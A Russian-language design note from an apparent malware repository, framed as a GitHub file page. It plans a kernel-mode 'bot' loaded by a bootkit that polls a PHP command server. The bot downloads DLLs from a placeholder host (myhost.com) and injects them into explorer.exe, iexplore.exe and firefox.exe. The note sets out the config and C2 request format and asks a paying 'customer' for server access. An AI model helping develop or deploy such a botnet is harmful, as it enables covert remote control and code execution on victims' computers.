-
Notifications
You must be signed in to change notification settings - Fork 158
/
Copy pathtasks.txt
45 lines (35 loc) · 2.33 KB
/
tasks.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
Кернельный бот
В данный момент реализован следующий функционал:
Бот представляет собой драйвер, загружаемый посредством буткит-лоадера. Драйвер содержит свой TCP\IP стек и
реализацию HTTP. После инициализации бот создает таймер, по которому обращается (посредством HTTP) на
заданный URL, указывающий на PHP скрипт, который возвращает конфиг-файл. В конфиге содержатся команды типа:
"DLL: http://myhost.com/myfile.dll, file1.dll, explorer.exe iexplore.exe firefox.exe"
Бот скачивает (через HTTP) файл myhost.com/myfile.dll, сохраняет его на VFS как file1.dll, и регистрирует
file1.dll для автоматического инжекта в процессы: explorer.exe, iexplore.exe, firefox.exe.
Что необходимо для дальнейшей разработки:
1. Согласовать формат конфиг-файла
Сейчас используется обычный текстовый файл, описанный выше.
Возможно, есть смысл добавить в конфиг-файл такие параметры как: список серверов для получения конфига, строка
(скрипт и параметры) для обращения за конфигом, период обращения за конфигом. Что-то еще?
Возможно, стоит использовать конвертор (конфигуратор) для преобразования текстового конфиг-файла в
определенный формат, с целью убрать парсер текста из бота, что уменьшит его размер и снизит вероятность
ошибок.
Формат команд: Команды для добавления DLL на загрузку, для удаления DLL, для обновления и тп. Команды для
работы с драйверами?
2. Согласовать формат запроса конфига
Сейчас бот работает с нашим тестовым сервером, формат запроса следующий:
GET /config.php?version=100&user=1234&server=1&id=1000&crc=3201b37f
где: version - версия бота, user - уникальный ID клиента, server - ID сервера, id - группа бота, crc - CRC32
предыдущего конфига (используется для того, чтобы не выдавать один конфиг повторно)
что нужно изменить:
- тип запроса: GET или POST ?
- имя скрипта, возвращающего конфиг
- параметры скрипта: ID клиента, Версия бота, ID сервера, CRC32 предыдущего конфига, что-то еще?
- доп. параметры HTTP запроса: версия и архитектура ОС (User-Agent), Referer, что-то еще?
- ?
3. Что-то еще, что я не учел?
Если у заказчика уже есть работающий сервер с админкой, позволяющий выдавать конфиги, то прошу предоставить
- описание формата конфига
- описание пртокола взаимодействия
также, прошу дать временный доступ к серверу, для доработки бота под протоколы заказчика, и последующего
тестирования.